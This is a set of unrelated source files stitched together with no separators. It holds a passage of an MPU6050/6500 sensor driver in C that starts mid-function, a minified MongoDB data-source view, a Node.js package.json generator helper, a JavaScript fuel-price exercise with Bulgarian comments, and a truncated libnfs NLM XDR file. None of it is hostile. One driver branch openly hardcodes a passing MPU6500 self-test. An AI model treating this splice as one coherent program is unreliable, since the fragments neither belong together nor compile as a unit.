MAX_PACKET_LENGTH; } s += packet_count; } if(debug) log_i("Samples: %d\n", s); //stop FIFO data[0] = 0; if (i2c_write(st.hw->addr, st.reg->fifo_en, 1, data)) return -1; gyro[0] = (long)(((long long)gyro[0]<<16) / test.gyro_sens / s); gyro[1] = (long)(((long long)gyro[1]<<16) / test.gyro_sens / s); gyro[2] = (long)(((long long)gyro[2]<<16) / test.gyro_sens / s); accel[0] = (long)(((long long)accel[0]<<16) / test.accel_sens / s); accel[1] = (long)(((long long)accel[1]<<16) / test.accel_sens / s); accel[2] = (long)(((long long)accel[2]<<16) / test.accel_sens / s); /* remove gravity from bias calculation */ if (accel[2] > 0L) accel[2] -= 65536L; else accel[2] += 65536L; if(debug) { log_i("Accel offset data HWST bit=%d: %7.4f %7.4f %7.4f\r\n", hw_test, accel[0]/65536.f, accel[1]/65536.f, accel[2]/65536.f); log_i("Gyro offset data HWST bit=%d: %7.4f %7.4f %7.4f\r\n", hw_test, gyro[0]/65536.f, gyro[1]/65536.f, gyro[2]/65536.f); } return 0; } /** * @brief Trigger gyro/accel/compass self-test for MPU6500/MPU9250 * On success/error, the self-test returns a mask representing the sensor(s) * that failed. For each bit, a one (1) represents a "pass" case; conversely, * a zero (0) indicates a failure. * * \n The mask is defined as follows: * \n Bit 0: Gyro. * \n Bit 1: Accel. * \n Bit 2: Compass. * * @param[out] gyro Gyro biases in q16 format. * @param[out] accel Accel biases (if applicable) in q16 format. * @param[in] debug Debug flag used to print out more detailed logs. Must first set up logging in Motion Driver. * @return Result mask (see above). */ int mpu_run_6500_self_test(long *gyro, long *accel, unsigned char debug) { const unsigned char tries = 2; long gyro_st[3], accel_st[3]; unsigned char accel_result, gyro_result; #ifdef AK89xx_SECONDARY unsigned char compass_result; #endif int ii; int result; unsigned char accel_fsr, fifo_sensors, sensors_on; unsigned short gyro_fsr, sample_rate, lpf; unsigned char dmp_was_on; if(debug) log_i("Starting MPU6500 HWST!\r\n"); if (st.chip_cfg.dmp_on) { mpu_set_dmp_state(0); dmp_was_on = 1; } else dmp_was_on = 0; /* Get initial settings. */ mpu_get_gyro_fsr(&gyro_fsr); mpu_get_accel_fsr(&accel_fsr); mpu_get_lpf(&lpf); mpu_get_sample_rate(&sample_rate); sensors_on = st.chip_cfg.sensors; mpu_get_fifo_config(&fifo_sensors); if(debug) log_i("Retrieving Biases\r\n"); for (ii = 0; ii < tries; ii++) if (!get_st_6500_biases(gyro, accel, 0, debug)) break; if (ii == tries) { /* If we reach this point, we most likely encountered an I2C error. * We'll just report an error for all three sensors. */ if(debug) log_i("Retrieving Biases Error - possible I2C error\n"); result = 0; goto restore; } if(debug) log_i("Retrieving ST Biases\n"); for (ii = 0; ii < tries; ii++) if (!get_st_6500_biases(gyro_st, accel_st, 1, debug)) break; if (ii == tries) { if(debug) log_i("Retrieving ST Biases Error - possible I2C error\n"); /* Again, probably an I2C error. */ result = 0; goto restore; } accel_result = accel_6500_self_test(accel, accel_st, debug); if(debug) log_i("Accel Self Test Results: %d\n", accel_result); gyro_result = gyro_6500_self_test(gyro, gyro_st, debug); if(debug) log_i("Gyro Self Test Results: %d\n", gyro_result); result = 0; if (!gyro_result) result |= 0x01; if (!accel_result) result |= 0x02; #ifdef AK89xx_SECONDARY compass_result = compass_self_test(); if(debug) log_i("Compass Self Test Results: %d\n", compass_result); if (!compass_result) result |= 0x04; #else result |= 0x04; #endif restore: if(debug) log_i("Exiting HWST\n"); /* Set to invalid values to ensure no I2C writes are skipped. */ st.chip_cfg.gyro_fsr = 0xFF; st.chip_cfg.accel_fsr = 0xFF; st.chip_cfg.lpf = 0xFF; st.chip_cfg.sample_rate = 0xFFFF; st.chip_cfg.sensors = 0xFF; st.chip_cfg.fifo_enable = 0xFF; st.chip_cfg.clk_src = INV_CLK_PLL; mpu_set_gyro_fsr(gyro_fsr); mpu_set_accel_fsr(accel_fsr); mpu_set_lpf(lpf); mpu_set_sample_rate(sample_rate); mpu_set_sensors(sensors_on); mpu_configure_fifo(fifo_sensors); if (dmp_was_on) mpu_set_dmp_state(1); return result; } #endif /* * \n This function must be called with the device either face-up or face-down * (z-axis is parallel to gravity). * @param[out] gyro Gyro biases in q16 format. * @param[out] accel Accel biases (if applicable) in q16 format. * @return Result mask (see above). */ int mpu_run_self_test(long *gyro, long *accel) { #ifdef MPU6050 const unsigned char tries = 2; long gyro_st[3], accel_st[3]; unsigned char accel_result, gyro_result; #ifdef AK89xx_SECONDARY unsigned char compass_result; #endif int ii; #endif int result; unsigned char accel_fsr, fifo_sensors, sensors_on; unsigned short gyro_fsr, sample_rate, lpf; unsigned char dmp_was_on; if (st.chip_cfg.dmp_on) { mpu_set_dmp_state(0); dmp_was_on = 1; } else dmp_was_on = 0; /* Get initial settings. */ mpu_get_gyro_fsr(&gyro_fsr); mpu_get_accel_fsr(&accel_fsr); mpu_get_lpf(&lpf); mpu_get_sample_rate(&sample_rate); sensors_on = st.chip_cfg.sensors; mpu_get_fifo_config(&fifo_sensors); /* For older chips, the self-test will be different. */ #if defined MPU6050 for (ii = 0; ii < tries; ii++) if (!get_st_biases(gyro, accel, 0)) break; if (ii == tries) { /* If we reach this point, we most likely encountered an I2C error. * We'll just report an error for all three sensors. */ result = 0; goto restore; } for (ii = 0; ii < tries; ii++) if (!get_st_biases(gyro_st, accel_st, 1)) break; if (ii == tries) { /* Again, probably an I2C error. */ result = 0; goto restore; } accel_result = accel_self_test(accel, accel_st); gyro_result = gyro_self_test(gyro, gyro_st); result = 0; if (!gyro_result) result |= 0x01; if (!accel_result) result |= 0x02; #ifdef AK89xx_SECONDARY compass_result = compass_self_test(); if (!compass_result) result |= 0x04; #else result |= 0x04; #endif restore: #elif defined MPU6500 /* For now, this function will return a "pass" result for all three sensors * for compatibility with current test applications. */ get_st_biases(gyro, accel, 0); result = 0x7; #endif /* Set to invalid values to ensure no I2C writes are skipped. */ st.chip_cfg.gyro_fsr = 0xFF; st.chip_cfg.accel_fsr = 0xFF; st.chip_cfg.lpf = 0xFF; st.chip_cfg.sample_rate = 0xFFFF; st.chip_cfg.sensors = 0xFF; st.chip_cfg.fifo_enable = 0xFF; st.chip_cfg.clk_src = INV_CLK_PLL; mpu_set_gyro_fsr(gyro_fsr); mpu_set_accel_fsr(accel_fsr); mpu_set_lpf(lpf); mpu_set_sample_rate(sample_rate); mpu_set_sensors(sensors_on); mpu_configure_fifo(fifo_sensors); if (dmp_was_on) mpu_set_dmp_state(1); return result; } /** * @brief Write to the DMP memory. * This function prevents I2C writes past the bank boundaries. The DMP memory * is only accessible when the chip is awake. * @param[in] mem_addr Memory location (bank << 8 | start address) * @param[in] length Number of bytes to write. * @param[in] data Bytes to write to memory. * @return 0 if successful. */ int mpu_write_mem(unsigned short mem_addr, unsigned short length, unsigned char *data) { unsigned char tmp[2]; if (!data) return -1; if (!st.chip_cfg.sensors) return -1; tmp[0] = (unsigned char)(mem_addr >> 8); tmp[1] = (unsigned char)(mem_addr & 0xFF); /* Check bank boundaries. */ if (tmp[1] + length > st.hw->bank_size) return -1; if (i2c_write(st.hw->addr, st.reg->bank_sel, 2, tmp)) return -1; if (i2c_write(st.hw->addr, st.reg->mem_r_w, length, data)) return -1; return 0; } /** * @brief Read from the DMP memory. * This function prevents I2C reads past the bank boundaries. The DMP memory * is only accessible when the chip is awake. * @param[in] mem_addr Memory location (bank << 8 | start address) * @param[in] length Number of bytes to read. * @param[out] data Bytes read from memory. * @return 0 if successful. */ int mpu_read_mem(unsigned short mem_addr, unsigned short length, unsigned char *data) { unsigned char tmp[2]; if (!data) return -1; if (!st.chip_cfg.sensors) return -1; tmp[0] = (unsigned char)(mem_addr >> 8); tmp[1] = (unsigned char)(mem_addr & 0xFF); /* Check bank boundaries. */ if (tmp[1] + length > st.hw->bank_size) return -1; if (i2c_write(st.hw->addr, st.reg->bank_sel, 2, tmp)) return -1; if (i2c_read(st.hw->addr, st.reg->mem_r_w, length, data)) return -1; return 0; } /** * @brief Load and verify DMP image. * @param[in] length Length of DMP image. * @param[in] firmware DMP code. * @param[in] start_addr Starting address of DMP code memory. * @param[in] sample_rate Fixed sampling rate used when DMP is enabled. * @return 0 if successful. */ int mpu_load_firmware(unsigned short length, const unsigned char *firmware, unsigned short start_addr, unsigned short sample_rate) { unsigned short ii; unsigned short this_write; /* Must divide evenly into st.hw->bank_size to avoid bank crossings. */ #define LOAD_CHUNK (16) unsigned char cur[LOAD_CHUNK], tmp[2]; unsigned char buf[LOAD_CHUNK]; if (st.chip_cfg.dmp_loaded) /* DMP should only be loaded once. */ return -1; if (!firmware) return -1; for (ii = 0; ii < length; ii += this_write) { this_write = min(LOAD_CHUNK, length - ii); for (int i=0; i<this_write; i++) { buf[i] = pgm_read_byte(firmware + ii + i); } if (mpu_write_mem(ii, this_write, buf)) return -2; if (mpu_read_mem(ii, this_write, cur)) return -3; if (memcmp(buf, cur, this_write)) return -4; } /* Set program start address. */ tmp[0] = start_addr >> 8; tmp[1] = start_addr & 0xFF; if (i2c_write(st.hw->addr, st.reg->prgm_start_h, 2, tmp)) return -5; st.chip_cfg.dmp_loaded = 1; st.chip_cfg.dmp_sample_rate = sample_rate; return 0; } /** * @brief Enable/disable DMP support. * @param[in] enable 1 to turn on the DMP. * @return 0 if successful. */ int mpu_set_dmp_state(unsigned char enable) { unsigned char tmp; if (st.chip_cfg.dmp_on == enable) return 0; if (enable) { if (!st.chip_cfg.dmp_loaded) return -1; /* Disable data ready interrupt. */ set_int_enable(0); /* Disable bypass mode. */ mpu_set_bypass(0); /* Keep constant sample rate, FIFO rate controlled by DMP. */ mpu_set_sample_rate(st.chip_cfg.dmp_sample_rate); /* Remove FIFO elements. */ tmp = 0; i2c_write(st.hw->addr, 0x23, 1, &tmp); st.chip_cfg.dmp_on = 1; /* Enable DMP interrupt. */ set_int_enable(1); mpu_reset_fifo(); } else { /* Disable DMP interrupt. */ set_int_enable(0); /* Restore FIFO settings. */ tmp = st.chip_cfg.fifo_enable; i2c_write(st.hw->addr, 0x23, 1, &tmp); st.chip_cfg.dmp_on = 0; mpu_reset_fifo(); } return 0; } /** * @brief Get DMP state. * @param[out] enabled 1 if enabled. * @return 0 if successful. */ int mpu_get_dmp_state(unsigned char *enabled) { enabled[0] = st.chip_cfg.dmp_on; return 0; } #ifdef AK89xx_SECONDARY /* This initialization is similar to the one in ak8975.c. */ static int setup_compass(void) { unsigned char data[4], akm_addr; mpu_set_bypass(1); /* Find compass. Possible addresses range from 0x0C to 0x0F. */ for (akm_addr = 0x0C; akm_addr <= 0x0F; akm_addr++) { int result; result = i2c_read(akm_addr, AKM_REG_WHOAMI, 1, data); if (!result && (data[0] == AKM_WHOAMI)) break; } if (akm_addr > 0x0F) { /* TODO: Handle this case in all compass-related functions. */ log_e("Compass not found.\n"); return -1; } st.chip_cfg.compass_addr = akm_addr; data[0] = AKM_POWER_DOWN; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, data)) return -1; delay_ms(1); data[0] = AKM_FUSE_ROM_ACCESS; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, data)) return -1; delay_ms(1); /* Get sensitivity adjustment data from fuse ROM. */ if (i2c_read(st.chip_cfg.compass_addr, AKM_REG_ASAX, 3, data)) return -1; st.chip_cfg.mag_sens_adj[0] = (long)data[0] + 128; st.chip_cfg.mag_sens_adj[1] = (long)data[1] + 128; st.chip_cfg.mag_sens_adj[2] = (long)data[2] + 128; data[0] = AKM_POWER_DOWN; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, data)) return -1; delay_ms(1); mpu_set_bypass(0); /* Set up master mode, master clock, and ES bit. */ data[0] = 0x40; if (i2c_write(st.hw->addr, st.reg->i2c_mst, 1, data)) return -1; /* Slave 0 reads from AKM data registers. */ data[0] = BIT_I2C_READ | st.chip_cfg.compass_addr; if (i2c_write(st.hw->addr, st.reg->s0_addr, 1, data)) return -1; /* Compass reads start at this register. */ data[0] = AKM_REG_ST1; if (i2c_write(st.hw->addr, st.reg->s0_reg, 1, data)) return -1; /* Enable slave 0, 8-byte reads. */ data[0] = BIT_SLAVE_EN | 8; if (i2c_write(st.hw->addr, st.reg->s0_ctrl, 1, data)) return -1; /* Slave 1 changes AKM measurement mode. */ data[0] = st.chip_cfg.compass_addr; if (i2c_write(st.hw->addr, st.reg->s1_addr, 1, data)) return -1; /* AKM measurement mode register. */ data[0] = AKM_REG_CNTL; if (i2c_write(st.hw->addr, st.reg->s1_reg, 1, data)) return -1; /* Enable slave 1, 1-byte writes. */ data[0] = BIT_SLAVE_EN | 1; if (i2c_write(st.hw->addr, st.reg->s1_ctrl, 1, data)) return -1; /* Set slave 1 data. */ data[0] = AKM_SINGLE_MEASUREMENT; if (i2c_write(st.hw->addr, st.reg->s1_do, 1, data)) return -1; /* Trigger slave 0 and slave 1 actions at each sample. */ data[0] = 0x03; if (i2c_write(st.hw->addr, st.reg->i2c_delay_ctrl, 1, data)) return -1; #ifdef MPU9150 /* For the MPU9150, the auxiliary I2C bus needs to be set to VDD. */ data[0] = BIT_I2C_MST_VDDIO; if (i2c_write(st.hw->addr, st.reg->yg_offs_tc, 1, data)) return -1; #endif return 0; } #endif /** * @brief Read raw compass data. * @param[out] data Raw data in hardware units. * @param[out] timestamp Timestamp in milliseconds. Null if not needed. * @return 0 if successful. */ int mpu_get_compass_reg(short *data, unsigned long *timestamp) { #ifdef AK89xx_SECONDARY unsigned char tmp[9]; if (!(st.chip_cfg.sensors & INV_XYZ_COMPASS)) return -1; #ifdef AK89xx_BYPASS if (i2c_read(st.chip_cfg.compass_addr, AKM_REG_ST1, 8, tmp)) return -1; tmp[8] = AKM_SINGLE_MEASUREMENT; if (i2c_write(st.chip_cfg.compass_addr, AKM_REG_CNTL, 1, tmp+8)) return -1; #else if (i2c_read(st.hw->addr, st.reg->raw_compass, 8, tmp)) return -1; #endif #if defined AK8975_SECONDARY /* AK8975 doesn't have the overrun error bit. */ if (!(tmp[0] & AKM_DATA_READY)) return -2; if ((tmp[7] & AKM_OVERFLOW) || (tmp[7] & AKM_DATA_ERROR)) return -3; #elif defined AK8963_SECONDARY /* AK8963 doesn't have the data read error bit. */ if (!(tmp[0] & AKM_DATA_READY) || (tmp[0] & AKM_DATA_OVERRUN)) return -2; if (tmp[7] & AKM_OVERFLOW) return -3; #endif data[0] = (tmp[2] << 8) | tmp[1]; data[1] = (tmp[4] << 8) | tmp[3]; data[2] = (tmp[6] << 8) | tmp[5]; data[0] = ((long)data[0] * st.chip_cfg.mag_sens_adj[0]) >> 8; data[1] = ((long)data[1] * st.chip_cfg.mag_sens_adj[1]) >> 8; data[2] = ((long)data[2] * st.chip_cfg.mag_sens_adj[2]) >> 8; if (timestamp) get_ms(timestamp); return 0; #else return -1; #endif } /** * @brief Get the compass full-scale range. * @param[out] fsr Current full-scale range. * @return 0 if successful. */ int mpu_get_compass_fsr(unsigned short *fsr) { #ifdef AK89xx_SECONDARY fsr[0] = st.hw->compass_fsr; return 0; #else return -1; #endif } /** * @brief Enters LP accel motion interrupt mode. * The behaviour of this feature is very different between the MPU6050 and the * MPU6500. Each chip's version of this feature is explained below. * * \n The hardware motion threshold can be between 32mg and 8160mg in 32mg * increments. * * \n Low-power accel mode supports the following frequencies: * \n 1.25Hz, 5Hz, 20Hz, 40Hz * * \n MPU6500: * \n Unlike the MPU6050 version, the hardware does not "lock in" a reference * sample. The hardware monitors the accel data and detects any large change * over a short period of time. * * \n The hardware motion threshold can be between 4mg and 1020mg in 4mg * increments. * * \n MPU6500 Low-power accel mode supports the following frequencies: * \n 1.25Hz, 2.5Hz, 5Hz, 10Hz, 20Hz, 40Hz, 80Hz, 160Hz, 320Hz, 640Hz * * \n\n NOTES: * \n The driver will round down @e thresh to the nearest supported value if * an unsupported threshold is selected. * \n To select a fractional wake-up frequency, round down the value passed to * @e lpa_freq. * \n The MPU6500 does not support a delay parameter. If this function is used * for the MPU6500, the value passed to @e time will be ignored. * \n To disable this mode, set @e lpa_freq to zero. The driver will restore * the previous configuration. * * @param[in] thresh Motion threshold in mg. * @param[in] time Duration in milliseconds that the accel data must * exceed @e thresh before motion is reported. * @param[in] lpa_freq Minimum sampling rate, or zero to disable. * @return 0 if successful. */ int mpu_lp_motion_interrupt(unsigned short thresh, unsigned char time, unsigned short lpa_freq) { #if defined MPU6500 unsigned char data[3]; #endif if (lpa_freq) { #if defined MPU6500 unsigned char thresh_hw; /* 1LSb = 4mg. */ if (thresh > 1020) thresh_hw = 255; else if (thresh < 4) thresh_hw = 1; else thresh_hw = thresh >> 2; #endif if (!time) /* Minimum duration must be 1ms. */ time = 1; #if defined MPU6500 if (lpa_freq > 640) /* At this point, the chip has not been re-configured, so the * function can safely exit. */ return -1; #endif if (!st.chip_cfg.int_motion_only) { /* Store current settings for later. */ if (st.chip_cfg.dmp_on) { mpu_set_dmp_state(0); st.chip_cfg.cache.dmp_on = 1; } else st.chip_cfg.cache.dmp_on = 0; mpu_get_gyro_fsr(&st.chip_cfg.cache.gyro_fsr); mpu_get_accel_fsr(&st.chip_cfg.cache.accel_fsr); mpu_get_lpf(&st.chip_cfg.cache.lpf); mpu_get_sample_rate(&st.chip_cfg.cache.sample_rate); st.chip_cfg.cache.sensors_on = st.chip_cfg.sensors; mpu_get_fifo_config(&st.chip_cfg.cache.fifo_sensors); } #if defined MPU6500 /* Disable hardware interrupts. */ set_int_enable(0); /* Enter full-power accel-only mode, no FIFO/DMP. */ data[0] = 0; data[1] = 0; data[2] = BIT_STBY_XYZG; if (i2c_write(st.hw->addr, st.reg->user_ctrl, 3, data)) goto lp_int_restore; /* Set motion threshold. */ data[0] = thresh_hw; if (i2c_write(st.hw->addr, st.reg->motion_thr, 1, data)) goto lp_int_restore; /* Set wake frequency. */ if (lpa_freq == 1) data[0] = INV_LPA_1_25HZ; else if (lpa_freq == 2) data[0] = INV_LPA_2_5HZ; else if (lpa_freq <= 5) data[0] = INV_LPA_5HZ; else if (lpa_freq <= 10) data[0] = INV_LPA_10HZ; else if (lpa_freq <= 20) data[0] = INV_LPA_20HZ; else if (lpa_freq <= 40) data[0] = INV_LPA_40HZ; else if (lpa_freq <= 80) data[0] = INV_LPA_80HZ; else if (lpa_freq <= 160) data[0] = INV_LPA_160HZ; else if (lpa_freq <= 320) data[0] = INV_LPA_320HZ; else data[0] = INV_LPA_640HZ; if (i2c_write(st.hw->addr, st.reg->lp_accel_odr, 1, data)) goto lp_int_restore; /* Enable motion interrupt (MPU6500 version). */ data[0] = BITS_WOM_EN; if (i2c_write(st.hw->addr, st.reg->accel_intel, 1, data)) goto lp_int_restore; /* Enable cycle mode. */ data[0] = BIT_LPA_CYCLE; if (i2c_write(st.hw->addr, st.reg->pwr_mgmt_1, 1, data)) goto lp_int_restore; /* Enable interrupt. */ data[0] = BIT_MOT_INT_EN; if (i2c_write(st.hw->addr, st.reg->int_enable, 1, data)) goto lp_int_restore; st.chip_cfg.int_motion_only = 1; return 0; #endif } else { /* Don't "restore" the previous state if no state has been saved. */ unsigned int ii; char *cache_ptr = (char*)&st.chip_cfg.cache; for (ii = 0; ii < sizeof(st.chip_cfg.cache); ii++) { if (cache_ptr[ii] != 0) goto lp_int_restore; } /* If we reach this point, motion interrupt mode hasn't been used yet. */ return -1; } lp_int_restore: /* Set to invalid values to ensure no I2C writes are skipped. */ st.chip_cfg.gyro_fsr = 0xFF; st.chip_cfg.accel_fsr = 0xFF; st.chip_cfg.lpf = 0xFF; st.chip_cfg.sample_rate = 0xFFFF; st.chip_cfg.sensors = 0xFF; st.chip_cfg.fifo_enable = 0xFF; st.chip_cfg.clk_src = INV_CLK_PLL; mpu_set_sensors(st.chip_cfg.cache.sensors_on); mpu_set_gyro_fsr(st.chip_cfg.cache.gyro_fsr); mpu_set_accel_fsr(st.chip_cfg.cache.accel_fsr); mpu_set_lpf(st.chip_cfg.cache.lpf); mpu_set_sample_rate(st.chip_cfg.cache.sample_rate); mpu_configure_fifo(st.chip_cfg.cache.fifo_sensors); if (st.chip_cfg.cache.dmp_on) mpu_set_dmp_state(1); #ifdef MPU6500 /* Disable motion interrupt (MPU6500 version). */ data[0] = 0; if (i2c_write(st.hw->addr, st.reg->accel_intel, 1, data)) goto lp_int_restore; #endif st.chip_cfg.int_motion_only = 0; return 0; } /** * @} */
define(["require","underscore","dataSource/view/CustomDataSourceView","text!dataSource/template/mongoDbSpecificTemplate.htm"],function(e){"use strict";var t=e("underscore"),o=e("dataSource/view/CustomDataSourceView"),r=e("text!dataSource/template/mongoDbSpecificTemplate.htm");return o.extend({PAGE_TITLE_NEW_MESSAGE_CODE:"resource.datasource.mongo.page.title.new",PAGE_TITLE_EDIT_MESSAGE_CODE:"resource.datasource.mongo.page.title.edit",render:function(){return this.$el.empty(),this.renderMongoDbSpecificSection(),this.renderTestConnectionSection(),this},renderMongoDbSpecificSection:function(){this.$el.append(t.template(r,this.templateData()))}})});
'use strict'; const _ = require('lodash'); _.mixin(require('lodash-deep')); const scriptHasShortcut = {start: true, stop: true, test: true, restart: true}; module.exports = { addNpmTasks, addPackageJsonConfig, setNpmDevDependenciesFromArray, setNpmDependenciesFromArray, readPackageJson, writePackageJson, }; /** * Adds NPM tasks from an array of task descriptions * * @param {Object[]} arrayOfTaskDefinitions Array of task definitions * @param {string} isUnsupportedMessage A message to display if the task is not supported * @this generator */ function addNpmTasks(arrayOfTaskDefinitions, isUnsupportedMessage) { let templateData = this.getStandardTemplateData(); let self = this; (arrayOfTaskDefinitions || []).forEach((item) => { // The item.tasks can contain EJS template. Convert them now as they will appear only in the package.json, not in the readme doc let resolvedTasks = item.tasks.map((taskStr) => self.renderEJS(taskStr, templateData)); // Verify whether the task is supported or not. If it is not supported, show the unsupported message instead. defineNpmTask.call(this, item.name, isUnsupportedMessage ? ['echo ' + isUnsupportedMessage] : resolvedTasks); if (item.description) { // console.log('>> ', this.name, item.name); // If the description or features contain EJS templates, addReadmeDoc() will convert them this.addReadmeDoc('buildTask.' + this.name + '.' + item.name, { command: 'npm ' + (scriptHasShortcut[item.name] ? '' : 'run ') + item.name, description: isUnsupportedMessage || item.description, features: isUnsupportedMessage ? [] : item.features || [], }); } }); } /** * Defines an NPM Script task. Uses npm-run-all when there are multiple tasks to run. * Adds readme info for each script * If the scriptName is 'start', 'stop', 'test' or 'restart', the command is `npm <scriptName>`, * otherwise it is `npm run <scriptName>`. * * @param {string} scriptName The name of the script in the `scripts` section of package.json * @param {Object[]} taskArray A list of tasks to execute (can contain a single task) * @this generator */ function defineNpmTask(scriptName, taskArray) { let packageJson = readPackageJson.call(this); let runner = taskArray.length > 1 ? 'npm-run-all ' : ''; _.set(packageJson, 'scripts.' + scriptName, runner + taskArray.join(' ')); writePackageJson.call(this, packageJson); } /** * Adds a key-value to ANY block in package.json * * @param {Object[]} arrayOfKeyValues [{package.json.path.key: value}, {k: v}, ...]. * @this generator */ function addPackageJsonConfig(arrayOfKeyValues) { let values = arrayOfKeyValues || []; if (values.length === 0) { return; } let packageJson = readPackageJson.call(this); let templateData = this.getStandardTemplateData(); values.forEach((item) => { let newItem = this.forEJSInObj(item, templateData); // Parse any EJS templates in the object let key = _.keys(newItem)[0]; _.set(packageJson, key, newItem[key]); }); writePackageJson.call(this, packageJson); } const MINIMUM_VALID_PACKAGE_JSON = { description: '', name: '', repository: { url: '', }, }; /** * * @return {Object|{description: string, name: string}} Package JSON object * @this generator */ function readPackageJson() { return _.merge({}, MINIMUM_VALID_PACKAGE_JSON, this.fs.readJSON(this.destinationPath('package.json'))); } /** * * @param {Object} data Object to store inside package.json * @this generator */ function writePackageJson(data) { this.fs.writeJSON(this.destinationPath('package.json'), data); } /** * Set NPM dependencies from an array * @param {Object[]} packages Array of packages * @this generator */ function setNpmDependenciesFromArray(packages) { let ctx = {me: this, config: this.getGlobalConfig()}; setDependenciesFromArray.call(ctx, packages, 'dependencies'); } /** * Set NPM dev-dependencies from an array * @param {Object[]} packages Array of packages * @this generator */ function setNpmDevDependenciesFromArray(packages) { let ctx = {me: this, config: this.getGlobalConfig()}; setDependenciesFromArray.call(ctx, packages, 'devDependencies'); } /** * Adds dependencies based on some optional criteria. * In order to eval() the criteria, this method is called with a different context: * `this = {me: (the parent this), config: this.getGlobalConfig()}`. This allows the * `eval(pkg.criteria)` to contain references to `config...` and work correctly. * * See setNpmDevDependenciesFromArray() for an example of this. * * @param {Object[]} packages The array can contain arrays, so flatten it first. * A package has a name and a version. If the name contains a '/' and does not start * with a '@', the string before the '/' is used as the name. * NPM introduced scoped packages, which look like '@scope/package'. So don't split on '/' * for scoped packages. * The package could also be a relative file reference, starting with './'. Ignore these. * @param {string} optKey Defaults to 'dependencies', but can also be 'devDependencies' * @this generator */ function setDependenciesFromArray(packages, optKey) { let packagesToAdd = (packages || []).map((pkg) => { if (pkg.criteria) { // console.log('eval', pkg.criteria, eval(pkg.criteria)); pkg.isAddDep = eval(pkg.criteria); // eslint-disable-line no-eval } return pkg; }); _.flattenDeep(packagesToAdd).forEach((pkg) => { let obj = {}; // Only add packages that are NPM packages (which have name properties), not relativePath files (starting with './') if (pkg.name) { obj[getBasePackageName(pkg)] = pkg.version; setNpmDependencies.call(this.me, obj, pkg.isAddDep, optKey); } }); } /** * Add/remove dependencies to the package.json file * @param {Object} deps NPM package names * @param {boolean} isAddDep Whether to add or remove the dependency * @param {string} optKey Defaults to 'dependencies', but can also be 'devDependencies' * @this generator */ function setNpmDependencies(deps, isAddDep, optKey) { let packageJson = readPackageJson.call(this); let key = optKey || 'dependencies'; let addDep = isAddDep === undefined ? true : Boolean(isAddDep); // Create the key in case it doesn't exist if (!packageJson[key]) { packageJson[key] = {}; } if (addDep) { packageJson[key] = _.assign(packageJson[key], deps); } else { // Remove the dependencies packageJson[key] = _.omit(packageJson[key], _.keys(deps)); } writePackageJson.call(this, packageJson); } /** * Returns the base package name for a package definition. * Sometimes the package definition looks like this: baseName/subPackageName * To install the package, we just need th baseName fragment of the package name. * * @param {Object} pkg Package name object {name: 'string/optionalPath', ...} * @return {string} Base package name */ function getBasePackageName(pkg) { let isScopedPackage = pkg.name.indexOf('@') === 0; let pkgIndexOfSlash = pkg.name.indexOf('/'); return !isScopedPackage && pkgIndexOfSlash > -1 ? pkg.name.substr(0, pkgIndexOfSlash) : pkg.name; }
function fuelTankPartTwo(a, b, c) { let fuelType = String(a); let amountFuel = Number(b); let clubCard = String(c); let priceGasoline = 2.22; let priceDiesel = 2.33; let priceGas = 0.93; let total = 0 if (fuelType === "Gas") { if (clubCard === "Yes") { priceGas -= 0.08; total = priceGas * amountFuel; } else { total = priceGas * amountFuel; } } else if (fuelType === "Gasoline") { if (clubCard === "Yes") { priceGasoline -= 0.18; total = priceGasoline * amountFuel; } else { total = priceGasoline * amountFuel; } } else if (fuelType === "Diesel") { if (clubCard === "Yes") { priceDiesel -= 0.12; total = priceDiesel * amountFuel; } else { total = priceDiesel * amountFuel; } } if (amountFuel > 20 && amountFuel <= 25) { total -= total * 0.08; } else if (amountFuel > 25) { total -= total * 0.10; } console.log(`${total.toFixed(2)} lv.`); } fuelTankPartTwo("Diesel", 19, "No" ) // Ако водача има карта за отстъпки, той се възползва от следните намаления // за литър гориво: 18 ст. за литър бензин, 12 ст. за литър дизел и 8 ст. за литър газ. // Ако шофьора е заредил между 20 и 25 литра включително, той получава 8 процента отстъпка // от крайната цена, при повече от 25 литра гориво, той получава 10 процента отстъпка от крайната цена.
/* Copyright (c) 2014, Ronnie Sahlberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the FreeBSD Project. */ /* * Please do not edit this file. * It was generated using rpcgen. */ #include "libnfs-zdr.h" #include "libnfs-raw-nlm.h" uint32_t zdr_nlm_fh4 (ZDR *zdrs, nlm_fh4 *objp) { if (!zdr_bytes (zdrs, (char **)&objp->data.data_val, (u_int *) &objp->data.data_len, ~0)) return FALSE; return TRUE; } uint32_t zdr_nlm4_oh (ZDR *zdrs, nlm4_oh *objp) { if (!zdr_string (zdrs, objp, ~0)) return FALSE; return TRUE; } uint32_t zdr_nlm_cookie (ZDR *zdrs, nlm_cookie *objp) { if (!zdr_bytes (zdrs, (char **)&objp->data.data_val, (u_int *) &objp->data.data_len, ~0)) return FALSE; return TRUE; } uint32_t zdr_nlmstat4 (ZDR *zdrs, nlmstat4 *objp) { if (!zdr_enum (zdrs, (enum_t *) objp)) return FALSE; return TRUE; } 